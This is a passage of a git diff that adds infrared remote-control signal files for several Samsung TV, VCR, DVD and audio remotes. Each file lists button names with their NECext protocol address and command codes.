KEY_CYCLEWINDOWS +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 01 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 02 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 04 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 05 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 06 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 07 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 08 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 09 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 0A 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 0B 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 0C 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 0D 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 0E 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 0F 00 00 00 +# +name: KEY_CHANNELDOWN +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 10 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 11 00 00 00 +# +name: KEY_CHANNELUP +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 12 00 00 00 +# +name: Pre-Ch +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 13 00 00 00 +# +name: KEY_GREEN +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 14 00 00 00 +# +name: KEY_YELLOW +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 15 00 00 00 +# +name: KEY_BLUE +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 16 00 00 00 +# +name: KEY_MENU +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 1A 00 00 00 +# +name: KEY_TV +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 1B 00 00 00 +# +name: KEY_INFO +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 1F 00 00 00 +# +name: KEY_SUBTITLE +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 25 00 00 00 +# +name: AD +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 27 00 00 00 +# +name: TTX/Mix +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 2C 00 00 00 +# +name: KEY_EXIT +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 2D 00 00 00 +# +name: P.Size +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 3E 00 00 00 +# +name: KEY_FAVORITES +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 44 00 00 00 +# +name: KEY_REWIND +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 45 00 00 00 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 46 00 00 00 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 47 00 00 00 +# +name: KEY_FORWARD +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 48 00 00 00 +# +name: KEY_RECORD +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 49 00 00 00 +# +name: KEY_PAUSE +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 4A 00 00 00 +# +name: Tools +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 4B 00 00 00 +# +name: KEY_INFO +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 4F 00 00 00 +# +name: KEY_ENTER +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 58 00 00 00 +# +name: KEY_UP +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 60 00 00 00 +# +name: KEY_DOWN +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 61 00 00 00 +# +name: KEY_RIGHT +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 62 00 00 00 +# +name: KEY_LEFT +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 65 00 00 00 +# +name: KEY_ENTER +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 68 00 00 00 +# +name: Ch.List +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 6B 00 00 00 +# +name: KEY_RED +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 6C 00 00 00 +# +name: SRS +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 6E 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Samsung/Unknown_BRM-E1E/33,33.ir b/assets/resources/infrared/_CSV-IRDB_/Samsung/Unknown_BRM-E1E/33,33.ir new file mode 100644 index 000000000..8e2f3b4b3 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Samsung/Unknown_BRM-E1E/33,33.ir @@ -0,0 +1,74 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: 21 21 00 00 +command: 15 00 00 00 +# +name: Still +type: parsed +protocol: NECext +address: 21 21 00 00 +command: 16 00 00 00 +# +name: KEY_REWIND +type: parsed +protocol: NECext +address: 21 21 00 00 +command: 18 00 00 00 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: 21 21 00 00 +command: 19 00 00 00 +# +name: KEY_FASTFORWARD +type: parsed +protocol: NECext +address: 21 21 00 00 +command: 1A 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 21 21 00 00 +command: 1C 00 00 00 +# +name: Counter +type: parsed +protocol: NECext +address: 21 21 00 00 +command: 1D 00 00 00 +# +name: Display +type: parsed +protocol: NECext +address: 21 21 00 00 +command: 1E 00 00 00 +# +name: KEY_T +type: parsed +protocol: NECext +address: 21 21 00 00 +command: 21 00 00 00 +# +name: KEY_W +type: parsed +protocol: NECext +address: 21 21 00 00 +command: 22 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 21 21 00 00 +command: 24 00 00 00 +# +name: Self +type: parsed +protocol: NECext +address: 21 21 00 00 +command: 2B 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Samsung/Unknown_HLN507W/7,7.ir b/assets/resources/infrared/_CSV-IRDB_/Samsung/Unknown_HLN507W/7,7.ir new file mode 100644 index 000000000..3ccfb280d --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Samsung/Unknown_HLN507W/7,7.ir @@ -0,0 +1,86 @@ +Filetype: IR signals file +Version: 1 +# +name: antenna +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 1B 00 00 00 +# +name: component1 +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 43 00 00 00 +# +name: KEY_PC +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 69 00 00 00 +# +name: svideo1 +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 85 00 00 00 +# +name: off +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 98 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 99 00 00 00 +# +name: KEY_VIDEO +type: parsed +protocol: NECext +address: 07 07 00 00 +command: C1 00 00 00 +# +name: svideo3 +type: parsed +protocol: NECext +address: 07 07 00 00 +command: C2 00 00 00 +# +name: component3 +type: parsed +protocol: NECext +address: 07 07 00 00 +command: C3 00 00 00 +# +name: KEY_VIDEO +type: parsed +protocol: NECext +address: 07 07 00 00 +command: F8 00 00 00 +# +name: KEY_VIDEO +type: parsed +protocol: NECext +address: 07 07 00 00 +command: F9 00 00 00 +# +name: svideo2 +type: parsed +protocol: NECext +address: 07 07 00 00 +command: FB 00 00 00 +# +name: component2 +type: parsed +protocol: NECext +address: 07 07 00 00 +command: FD 00 00 00 +# +name: dvi +type: parsed +protocol: NECext +address: 07 07 00 00 +command: FF 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Samsung/Unknown_MF59-00242B/9,9.ir b/assets/resources/infrared/_CSV-IRDB_/Samsung/Unknown_MF59-00242B/9,9.ir new file mode 100644 index 000000000..0b233b0d0 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Samsung/Unknown_MF59-00242B/9,9.ir @@ -0,0 +1,206 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 09 09 00 00 +command: 02 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 09 09 00 00 +command: 04 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 09 09 00 00 +command: 05 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 09 09 00 00 +command: 06 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 09 09 00 00 +command: 07 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 09 09 00 00 +command: 08 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 09 09 00 00 +command: 09 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 09 09 00 00 +command: 0A 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 09 09 00 00 +command: 0B 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 09 09 00 00 +command: 0C 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 09 09 00 00 +command: 0D 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 09 09 00 00 +command: 0E 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 09 09 00 00 +command: 0F 00 00 00 +# +name: KEY_CHANNELDOWN +type: parsed +protocol: NECext +address: 09 09 00 00 +command: 10 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 09 09 00 00 +command: 11 00 00 00 +# +name: KEY_CHANNELUP +type: parsed +protocol: NECext +address: 09 09 00 00 +command: 12 00 00 00 +# +name: KEY_LAST +type: parsed +protocol: NECext +address: 09 09 00 00 +command: 13 00 00 00 +# +name: KEY_TEXT +type: parsed +protocol: NECext +address: 09 09 00 00 +command: 14 00 00 00 +# +name: ALT +type: parsed +protocol: NECext +address: 09 09 00 00 +command: 15 00 00 00 +# +name: KEY_AUDIO +type: parsed +protocol: NECext +address: 09 09 00 00 +command: 16 00 00 00 +# +name: KEY_MENU +type: parsed +protocol: NECext +address: 09 09 00 00 +command: 1A 00 00 00 +# +name: KEY_CHANNELUP +type: parsed +protocol: NECext +address: 09 09 00 00 +command: 25 00 00 00 +# +name: TIMER +type: parsed +protocol: NECext +address: 09 09 00 00 +command: 2C 00 00 00 +# +name: KEY_EXIT +type: parsed +protocol: NECext +address: 09 09 00 00 +command: 2D 00 00 00 +# +name: KEY_CHANNELDOWN +type: parsed +protocol: NECext +address: 09 09 00 00 +command: 35 00 00 00 +# +name: TV/RADIO +type: parsed +protocol: NECext +address: 09 09 00 00 +command: 39 00 00 00 +# +name: KEY_FAVORITES +type: parsed +protocol: NECext +address: 09 09 00 00 +command: 3E 00 00 00 +# +name: KEY_EPG +type: parsed +protocol: NECext +address: 09 09 00 00 +command: 4F 00 00 00 +# +name: KEY_UP +type: parsed +protocol: NECext +address: 09 09 00 00 +command: 60 00 00 00 +# +name: KEY_DOWN +type: parsed +protocol: NECext +address: 09 09 00 00 +command: 61 00 00 00 +# +name: KEY_RIGHT +type: parsed +protocol: NECext +address: 09 09 00 00 +command: 62 00 00 00 +# +name: KEY_INFO +type: parsed +protocol: NECext +address: 09 09 00 00 +command: 64 00 00 00 +# +name: KEY_LEFT +type: parsed +protocol: NECext +address: 09 09 00 00 +command: 65 00 00 00 +# +name: KEY_OK +type: parsed +protocol: NECext +address: 09 09 00 00 +command: 68 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Samsung/Unknown_MF59-00291a/32,0.ir b/assets/resources/infrared/_CSV-IRDB_/Samsung/Unknown_MF59-00291a/32,0.ir new file mode 100644 index 000000000..968473d54 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Samsung/Unknown_MF59-00291a/32,0.ir @@ -0,0 +1,236 @@ +Filetype: IR signals file +Version: 1 +# +name: One +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 00 00 00 00 +# +name: Two +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 01 00 00 00 +# +name: Three +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 02 00 00 00 +# +name: Four +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 03 00 00 00 +# +name: Five +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 04 00 00 00 +# +name: Six +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 05 00 00 00 +# +name: Seven +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 06 00 00 00 +# +name: Eight +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 07 00 00 00 +# +name: Nine +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 08 00 00 00 +# +name: Zero +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 09 00 00 00 +# +name: VolUp +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 0A 00 00 00 +# +name: VolDown +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 0B 00 00 00 +# +name: ChanUp +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 0C 00 00 00 +# +name: ChanDown +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 0D 00 00 00 +# +name: Guide +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 0F 00 00 00 +# +name: Up +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 10 00 00 00 +# +name: Down +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 11 00 00 00 +# +name: Left +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 12 00 00 00 +# +name: Right +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 13 00 00 00 +# +name: OK +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 14 00 00 00 +# +name: PgUp +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 17 00 00 00 +# +name: PgDown +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 18 00 00 00 +# +name: FavChan +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 1B 00 00 00 +# +name: Power +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 1E 00 00 00 +# +name: Mute +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 20 00 00 00 +# +name: More +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 21 00 00 00 +# +name: Green +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 22 00 00 00 +# +name: Yellow +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 23 00 00 00 +# +name: Blue +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 24 00 00 00 +# +name: Menu +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 25 00 00 00 +# +name: Red +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 26 00 00 00 +# +name: Tv_Radio +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 2B 00 00 00 +# +name: Back +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 2C 00 00 00 +# +name: PreChan +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 30 00 00 00 +# +name: Alt +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 31 00 00 00 +# +name: Teletext +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 33 00 00 00 +# +name: Subtitle +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 34 00 00 00 +# +name: Audio +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 35 00 00 00 +# +name: Timer +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 37 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Samsung/Unknown_MF59/0,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Samsung/Unknown_MF59/0,-1.ir new file mode 100644 index 000000000..15553393d --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Samsung/Unknown_MF59/0,-1.ir @@ -0,0 +1,206 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 02 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 04 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 05 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 06 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 07 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 08 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 09 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0A 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0B 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0C 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0D 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0E 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0F 00 00 00 +# +name: KEY_CHANNELDOWN +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 10 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 11 00 00 00 +# +name: KEY_CHANNELUP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 12 00 00 00 +# +name: KEY_LAST +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 13 00 00 00 +# +name: KEY_GREEN +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 14 00 00 00 +# +name: KEY_YELLOW +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 15 00 00 00 +# +name: KEY_BLUE +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 16 00 00 00 +# +name: KEY_MENU +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 1A 00 00 00 +# +name: KEY_CHANNELUP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 25 00 00 00 +# +name: Timer +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 2C 00 00 00 +# +name: KEY_EXIT +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 2D 00 00 00 +# +name: KEY_CHANNELDOWN +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 35 00 00 00 +# +name: Tv/radio +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 39 00 00 00 +# +name: KEY_FAVORITES +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 3E 00 00 00 +# +name: KEY_EPG +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 4F 00 00 00 +# +name: KEY_UP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 60 00 00 00 +# +name: KEY_DOWN +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 61 00 00 00 +# +name: KEY_RIGHT +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 62 00 00 00 +# +name: KEY_RED +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 64 00 00 00 +# +name: KEY_LEFT +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 65 00 00 00 +# +name: KEY_OK +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 68 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Samsung/Unknown_PR3914/5,5.ir b/assets/resources/infrared/_CSV-IRDB_/Samsung/Unknown_PR3914/5,5.ir new file mode 100644 index 000000000..63ab6d759 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Samsung/Unknown_PR3914/5,5.ir @@ -0,0 +1,86 @@ +Filetype: IR signals file +Version: 1 +# +name: TV_VCR +type: parsed +protocol: NECext +address: 05 05 00 00 +command: 01 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 05 05 00 00 +command: 02 00 00 00 +# +name: A.REP +type: parsed +protocol: NECext +address: 05 05 00 00 +command: 03 00 00 00 +# +name: KEY_RECORD +type: parsed +protocol: NECext +address: 05 05 00 00 +command: 14 00 00 00 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: 05 05 00 00 +command: 15 00 00 00 +# +name: P/S_N.C +type: parsed +protocol: NECext +address: 05 05 00 00 +command: 16 00 00 00 +# +name: KEY_REWIND +type: parsed +protocol: NECext +address: 05 05 00 00 +command: 18 00 00 00 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: 05 05 00 00 +command: 19 00 00 00 +# +name: KEY_FASTFORWARD +type: parsed +protocol: NECext +address: 05 05 00 00 +command: 1A 00 00 00 +# +name: KEY_EJECTCD +type: parsed +protocol: NECext +address: 05 05 00 00 +command: 20 00 00 00 +# +name: A.TRK +type: parsed +protocol: NECext +address: 05 05 00 00 +command: 21 00 00 00 +# +name: TRACKING__Up +type: parsed +protocol: NECext +address: 05 05 00 00 +command: 2C 00 00 00 +# +name: TRACKING_Down +type: parsed +protocol: NECext +address: 05 05 00 00 +command: 2D 00 00 00 +# +name: SYSTEM +type: parsed +protocol: NECext +address: 05 05 00 00 +command: 32 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Samsung/Unknown_RCD-M70/0,4.ir b/assets/resources/infrared/_CSV-IRDB_/Samsung/Unknown_RCD-M70/0,4.ir new file mode 100644 index 000000000..c49adc7f9 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Samsung/Unknown_RCD-M70/0,4.ir @@ -0,0 +1,92 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 00 04 00 00 +command: 00 00 00 00 +# +name: band +type: parsed +protocol: NECext +address: 00 04 00 00 +command: 02 00 00 00 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: 00 04 00 00 +command: 05 00 00 00 +# +name: program +type: parsed +protocol: NECext +address: 00 04 00 00 +command: 12 00 00 00 +# +name: KEY_RADIO +type: parsed +protocol: NECext +address: 00 04 00 00 +command: 13 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 00 04 00 00 +command: 20 00 00 00 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: 00 04 00 00 +command: 21 00 00 00 +# +name: tuning_right +type: parsed +protocol: NECext +address: 00 04 00 00 +command: 22 00 00 00 +# +name: KEY_CD +type: parsed +protocol: NECext +address: 00 04 00 00 +command: 25 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 00 04 00 00 +command: 30 00 00 00 +# +name: preset +type: parsed +protocol: NECext +address: 00 04 00 00 +command: 31 00 00 00 +# +name: tuning_left +type: parsed +protocol: NECext +address: 00 04 00 00 +command: 32 00 00 00 +# +name: sound +type: parsed +protocol: NECext +address: 00 04 00 00 +command: 52 00 00 00 +# +name: eq +type: parsed +protocol: NECext +address: 00 04 00 00 +command: 53 00 00 00 +# +name: KEY_SLEEP +type: parsed +protocol: NECext +address: 00 04 00 00 +command: 67 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Samsung/Unknown_SAMSUNG/102,0.ir b/assets/resources/infrared/_CSV-IRDB_/Samsung/Unknown_SAMSUNG/102,0.ir new file mode 100644 index 000000000..d209bffbc --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Samsung/Unknown_SAMSUNG/102,0.ir @@ -0,0 +1,254 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 66 00 00 00 +command: 80 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 66 00 00 00 +command: 81 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 66 00 00 00 +command: 82 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 66 00 00 00 +command: 83 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 66 00 00 00 +command: 84 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 66 00 00 00 +command: 85 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 66 00 00 00 +command: 86 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 66 00 00 00 +command: 87 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 66 00 00 00 +command: 88 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 66 00 00 00 +command: 89 00 00 00 +# +name: KEY_SETUP +type: parsed +protocol: NECext +address: 66 00 00 00 +command: 8B 00 00 00 +# +name: KEY_OPEN +type: parsed +protocol: NECext +address: 66 00 00 00 +command: 8C 00 00 00 +# +name: KEY_AUDIO +type: parsed +protocol: NECext +address: 66 00 00 00 +command: 8E 00 00 00 +# +name: display +type: parsed +protocol: NECext +address: 66 00 00 00 +command: 8F 00 00 00 +# +name: KEY_SUBTITLE +type: parsed +protocol: NECext +address: 66 00 00 00 +command: 90 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 66 00 00 00 +command: 91 00 00 00 +# +name: KEY_ANGLE +type: parsed +protocol: NECext +address: 66 00 00 00 +command: 92 00 00 00 +# +name: topmenu +type: parsed +protocol: NECext +address: 66 00 00 00 +command: 93 00 00 00 +# +name: KEY_MENU +type: parsed +protocol: NECext +address: 66 00 00 00 +command: 94 00 00 00 +# +name: KEY_ENTER +type: parsed +protocol: NECext +address: 66 00 00 00 +command: 95 00 00 00 +# +name: KEY_UP +type: parsed +protocol: NECext +address: 66 00 00 00 +command: 97 00 00 00 +# +name: KEY_DOWN +type: parsed +protocol: NECext +address: 66 00 00 00 +command: 98 00 00 00 +# +name: KEY_RIGHT +type: parsed +protocol: NECext +address: 66 00 00 00 +command: 99 00 00 00 +# +name: KEY_LEFT +type: parsed +protocol: NECext +address: 66 00 00 00 +command: 9A 00 00 00 +# +name: KEY_ENTER +type: parsed +protocol: NECext +address: 66 00 00 00 +command: 9B 00 00 00 +# +name: KEY_REWIND +type: parsed +protocol: NECext +address: 66 00 00 00 +command: 9C 00 00 00 +# +name: KEY_AGAIN +type: parsed +protocol: NECext +address: 66 00 00 00 +command: 9D 00 00 00 +# +name: KEY_FORWARD +type: parsed +protocol: NECext +address: 66 00 00 00 +command: 9E 00 00 00 +# +name: KEY_PREVIOUS +type: parsed +protocol: NECext +address: 66 00 00 00 +command: 9F 00 00 00 +# +name: KEY_PLAYPAUSE +type: parsed +protocol: NECext +address: 66 00 00 00 +command: A0 00 00 00 +# +name: KEY_NEXT +type: parsed +protocol: NECext +address: 66 00 00 00 +command: A1 00 00 00 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: 66 00 00 00 +command: A2 00 00 00 +# +name: KEY_CLEAR +type: parsed +protocol: NECext +address: 66 00 00 00 +command: A4 00 00 00 +# +name: step +type: parsed +protocol: NECext +address: 66 00 00 00 +command: A6 00 00 00 +# +name: KEY_MODE +type: parsed +protocol: NECext +address: 66 00 00 00 +command: A7 00 00 00 +# +name: A-B +type: parsed +protocol: NECext +address: 66 00 00 00 +command: A8 00 00 00 +# +name: bookmark +type: parsed +protocol: NECext +address: 66 00 00 00 +command: A9 00 00 00 +# +name: KEY_ZOOM +type: parsed +protocol: NECext +address: 66 00 00 00 +command: AA 00 00 00 +# +name: KEY_3d +type: parsed +protocol: NECext +address: 66 00 00 00 +command: AB 00 00 00 +# +name: i.replay +type: parsed +protocol: NECext +address: 66 00 00 00 +command: AD 00 00 00 +# +name: digest +type: parsed +protocol: NECext +address: 66 00 00 00 +command: AE 00 00 00 +# +name: s.fit +type: parsed +protocol: NECext +address: 66 00 00 00 +command: AF 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Samsung/Unknown_SAMSUNG/5,5.ir b/assets/resources/infrared/_CSV-IRDB_/Samsung/Unknown_SAMSUNG/5,5.ir new file mode 100644 index 000000000..f5825a8e3 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Samsung/Unknown_SAMSUNG/5,5.ir @@ -0,0 +1,242 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 05 05 00 00 +command: 02 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 05 05 00 00 +command: 04 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 05 05 00 00 +command: 05 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 05 05 00 00 +command: 06 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 05 05 00 00 +command: 08 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 05 05 00 00 +command: 09 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 05 05 00 00 +command: 0A 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 05 05 00 00 +command: 0C 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 05 05 00 00 +command: 0D 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 05 05 00 00 +command: 0E 00 00 00 +# +name: KEY_CHANNELDOWN +type: parsed +protocol: NECext +address: 05 05 00 00 +command: 10 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 05 05 00 00 +command: 11 00 00 00 +# +name: KEY_CHANNELUP +type: parsed +protocol: NECext +address: 05 05 00 00 +command: 12 00 00 00 +# +name: 